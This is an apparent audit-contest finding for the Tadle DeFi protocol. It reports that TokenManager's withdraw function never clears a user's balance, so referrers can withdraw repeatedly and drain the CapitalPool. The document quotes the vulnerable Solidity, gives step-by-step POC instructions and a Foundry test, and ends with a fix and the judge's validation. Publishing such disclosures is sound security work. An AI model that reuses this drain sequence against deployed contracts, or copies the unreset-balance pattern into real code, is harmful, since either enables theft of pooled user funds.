Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Takers who have claimable amounts can steal tokens from the capitalPool via withdraw due to missing withdrawn amount update

Summary

Referrers who call the withdraw function on TokenManager to get their referral bonus can steal all tokens in the CapitalPool due to missing balance update of the withdrawn amount.

Vulnerability Details

When takers create a stockInfo via PreMarkets::createTaker, they receive a referral bonus:

function _updateReferralBonus(
uint256 platformFee,
uint256 depositAmount,
address stockAddr,
MakerInfo storage makerInfo,
ReferralInfo memory referralInfo,
ITokenManager tokenManager
) internal returns (uint256 remainingPlatformFee) {
if (referralInfo.referrer == address(0x0)) {
remainingPlatformFee = platformFee;
} else {
/**
* @dev calculate referrer referral bonus and authority referral bonus
* @dev calculate remaining platform fee
* @dev remaining platform fee = platform fee - referrer referral bonus - authority referral bonus
* @dev referrer referral bonus = platform fee * referrer rate
* @dev authority referral bonus = platform fee * authority rate
* @dev emit ReferralBonus
*/
uint256 referrerReferralBonus = platformFee.mulDiv(
referralInfo.referrerRate,
Constants.REFERRAL_RATE_DECIMAL_SCALER,
Math.Rounding.Floor
);
/**
* @dev update referrer referral bonus
* @dev update authority referral bonus
*/
tokenManager.addTokenBalance(
TokenBalanceType.ReferralBonus,
referralInfo.referrer,
makerInfo.tokenAddress,
referrerReferralBonus
);
uint256 authorityReferralBonus = platformFee.mulDiv(
referralInfo.authorityRate,
Constants.REFERRAL_RATE_DECIMAL_SCALER,
Math.Rounding.Floor
);
tokenManager.addTokenBalance(
TokenBalanceType.ReferralBonus,
_msgSender(),
makerInfo.tokenAddress,
authorityReferralBonus
);
remainingPlatformFee =
platformFee -
referrerReferralBonus -
authorityReferralBonus;
/// @dev emit ReferralBonus
emit ReferralBonus(
stockAddr,
_msgSender(),
referralInfo.referrer,
authorityReferralBonus,
referrerReferralBonus,
depositAmount,
platformFee
);
}
}

This bonus counts towards their balance and can be withdrawn via TokenManager::withdraw

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

The vulnerability arises from the fact that the withdraw function does not subtract the withdrawn amount after the withdrawal allowing the referrer to withdraw as many times. This vulnerabity can be used to drain the Capital pool contract of all user tokens.

For a POC, follow these steps:

  1. Setup a user with ReferralExtraRateMap and ReferrerInfo. This will allow the user to earn referral bonuses.

  2. Create an offer via PreMarkets::createOffer.

  3. Have the user create a taker via createTaker.

  4. Confirm the user now has referral bonus.

  5. Have the use withdraw his bonus.

  6. Confirm that his bonus balance has not changed.

You can use this test to prove the vulnerability:

function test_taker_withdraw() public {
vm.startPrank(user1);
systemConfig.updateReferralExtraRateMap(user2,10_000);
systemConfig.updateReferralExtraRateMap(user3,10_000);
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
systemConfig.updateReferrerInfo(user2,305_000,5_000);
systemConfig.updateReferrerInfo(user3,305_000,5_000);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
vm.prank(user2);
preMarktes.createTaker(offerAddr, 500);
vm.startPrank(user3);
preMarktes.createTaker(offerAddr, 50);
uint256 claimAbleAmount1 = tokenManager.userTokenBalanceMap(user3,address(mockUSDCToken), TokenBalanceType.ReferralBonus);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.ReferralBonus);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.ReferralBonus);
uint256 claimAbleAmount2 = tokenManager.userTokenBalanceMap(user3,address(mockUSDCToken), TokenBalanceType.ReferralBonus);
assertEq(claimAbleAmount1,claimAbleAmount2);
}

Impact

Referrers can drain the capital pool of all tokens

Tools Used

Manual review

Recommendations

Update the user balance after the withdrawal immediately after calculating the balance to prevent re-entrancy attack:

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0; //Add this code !
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!